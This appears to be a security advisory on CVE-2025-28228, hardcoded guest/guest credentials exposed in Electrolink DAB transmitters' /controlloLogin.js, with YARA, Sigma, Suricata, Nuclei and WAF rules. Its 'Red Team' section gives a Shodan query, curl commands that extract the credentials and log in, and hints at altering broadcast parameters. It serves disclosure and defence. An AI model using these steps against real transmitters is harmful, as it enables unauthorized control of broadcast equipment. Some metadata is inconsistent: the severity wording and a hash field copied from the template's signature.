CVE-2025-28228

Executive Summary

CVE-2025-28228 is a critical credential exposure vulnerability affecting Electrolink 500W, 1kW, and 2kW Medium DAB Transmitter Web interfaces (versions v01.09, v01.08, v01.07) and Display units (versions v1.4, v1.2). The vulnerability allows an unauthenticated remote attacker to retrieve plaintext credentials by accessing the /controlloLogin.js JavaScript file. This file contains hardcoded credentials in the form of user=='guest' and password=='guest', enabling immediate administrative access to the transmitter management interface. The vulnerability has a CVSS v3.1 base score of 7.5 (High) and is classified under CWE-522 (Insufficiently Protected Credentials). A public proof-of-concept (PoC) exists via a Nuclei template, and Shodan dorks are available for internet-wide scanning. No official patch has been released by Electrolink, making this a high-priority risk for broadcast infrastructure operators.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware appliance vulnerability affecting embedded web servers in broadcast transmitters. No supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full credential disclosure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.
• EPSS Score: 0.06315% (Percentile: 91.0%) – low probability of exploitation in the wild, but public PoC increases risk.
• Threat Level: High – due to ease of exploitation, public PoC, and criticality of broadcast infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of Electrolink DAB transmitters. The file /controlloLogin.js is served without authentication and contains hardcoded credentials used for client-side login validation. The JavaScript code includes lines such as:

if (user=='guest' && password=='guest') {
    // grant access
}

This design flaw allows any unauthenticated attacker to read the credentials directly from the source code. The credentials are stored in plaintext and are not obfuscated or encrypted. Once obtained, an attacker can log in to the web interface and potentially modify transmitter parameters, disrupt broadcast operations, or pivot to internal networks.

The vulnerability is exposed on the default HTTP port (80) of the transmitter's management interface. Shodan search for http.title:"Electrolink" reveals internet-facing devices. The Nuclei template confirms the vulnerability by checking for the presence of the hardcoded credentials in the response body.

Vulnerable vs. Patched Code

Vulnerable Code (controlloLogin.js):

// Vulnerable: hardcoded credentials in plaintext
function checkLogin() {
    var user = document.getElementById("username").value;
    var password = document.getElementById("password").value;
    if (user=='guest' && password=='guest') {
        window.location.href = "main.html";
    } else {
        alert("Invalid credentials");
    }
}

Patched Code (Recommended):

// Patched: server-side authentication with hashed credentials
function checkLogin() {
    var user = document.getElementById("username").value;
    var password = document.getElementById("password").value;
    // Send credentials to server for validation
    fetch('/api/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username: user, password: password })
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            window.location.href = "main.html";
        } else {
            alert("Invalid credentials");
        }
    });
}

The patched version removes client-side credential storage and implements server-side authentication with proper hashing (e.g., bcrypt). The /controlloLogin.js file should no longer contain any credentials.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Reconnaissance: Use Shodan to find exposed Electrolink devices:

   shodan search "http.title:\"Electrolink\"" --fields ip_str,port
   

2. Credential Extraction: Send a GET request to the vulnerable endpoint:

   curl -s http://<target_ip>/controlloLogin.js | grep -E "user==|password=="
   

3. Authentication: Use the extracted credentials to log in:

   curl -c cookies.txt -b cookies.txt -X POST -d "username=guest&password=guest" http://<target_ip>/login
   

4. Post-Exploitation: Once logged in, modify transmitter parameters (e.g., frequency, power) or exfiltrate configuration data.

Blue Team (Defense & Detection)

1. Network Segmentation: Isolate transmitter management interfaces from the internet. Use VPNs or dedicated management VLANs.
2. Access Control: Restrict access to /controlloLogin.js using web server ACLs or reverse proxy rules.
3. Credential Rotation: Change default credentials immediately. Use strong, unique passwords.
4. Monitoring: Deploy detection rules (see Detection Engineering) to alert on access to the vulnerable file.
5. Patching: Since no official patch exists, implement virtual patching via WAF rules to block requests to /controlloLogin.js.

Indicators of Compromise (IOCs)

• File Path: /controlloLogin.js
• Credential Strings: user=='guest' and password=='guest'
• HTTP Request Pattern: GET request to /controlloLogin.js returning HTTP 200 with body containing user=='guest'
• Shodan Query: http.title:"Electrolink"
• Nuclei Template ID: CVE-2025-28228
• Exploit Source: https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-28228

Detection Engineering

YARA Rule

rule CVE_2025_28228_Electrolink_Credential_Exposure {
    meta:
        description = "Detects Electrolink transmitter credential exposure in JavaScript files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-28228"
        hash = "4b0a00483046022100c2c631220fc2d4cb6bc345273b3e712cdcc9e1134b6d749a0778f7267b112953022100df4f79c4c33f22d7fe5f1f68a98d912f30fbe292a829e09f06f3464cb7905174"
    strings:
        $cred1 = "user=='guest'" ascii wide
        $cred2 = "password=='guest'" ascii wide
        $func = "checkLogin" ascii wide
    condition:
        all of ($cred*) and $func
}

Sigma Rule

title: Electrolink Credential Exposure via controlloLogin.js
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects HTTP GET requests to /controlloLogin.js on Electrolink transmitters
author: Valters IT
date: 2025/04/10
references:
    - https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-28228
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/controlloLogin.js'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.28228

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28228 Electrolink Credential Exposure"; flow:to_server,established; content:"GET"; http_method; content:"/controlloLogin.js"; http_uri; content:"user=='guest'"; http_server_body; content:"password=='guest'"; http_server_body; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-28228

info:
  name: Electrolink FM/DAB/TV Transmitter - Credentials Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.
  impact: |
    Unauthenticated attackers can access plaintext credentials through the controlloLogin.js file, potentially gaining unauthorized access to Electrolink transmitter management interfaces.
  remediation: |
    Change default credentials and restrict access to the controlloLogin.js file.
  reference:
    - https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-28228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-28228
    cwe-id: CWE-522
    epss-score: 0.06315
    epss-percentile: 0.91007
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Electrolink"
  tags: cve,cve2025,electrolink,info-leak,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/controlloLogin.js"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "user=='guest'"
          - "password=='guest'"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c2c631220fc2d4cb6bc345273b3e712cdcc9e1134b6d749a0778f7267b112953022100df4f79c4c33f22d7fe5f1f68a98d912f30fbe292a829e09f06f3464cb7905174:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

1. Immediate Actions:

   • Change default credentials (guest/guest) to strong, unique passwords.
   • Restrict access to /controlloLogin.js via web server ACLs or reverse proxy rules (e.g., allow only trusted IPs).
   • If possible, remove or obfuscate the controlloLogin.js file and implement server-side authentication.

2. Network Hardening:

   • Place transmitter management interfaces behind a firewall or VPN.
   • Disable remote web access if not required for operations.
   • Use network segmentation to isolate broadcast equipment from general IT networks.

3. Virtual Patching:

   • Deploy WAF rules to block requests to /controlloLogin.js.
   • Example ModSecurity rule:

     SecRule REQUEST_URI "/controlloLogin.js" "id:1000001,phase:1,deny,status:403,msg:'Electrolink credential exposure blocked'"
     

4. Monitoring:

   • Enable logging on web servers and monitor for access to /controlloLogin.js.
   • Deploy the provided Sigma and Suricata rules in your SIEM/IDS.

5. Long-Term:

   • Contact Electrolink for an official firmware patch.
   • Consider replacing affected devices with updated models that implement secure authentication.

Valters IT

{/* [Security Hash: D261821CF27DB73D97D7F38F] */}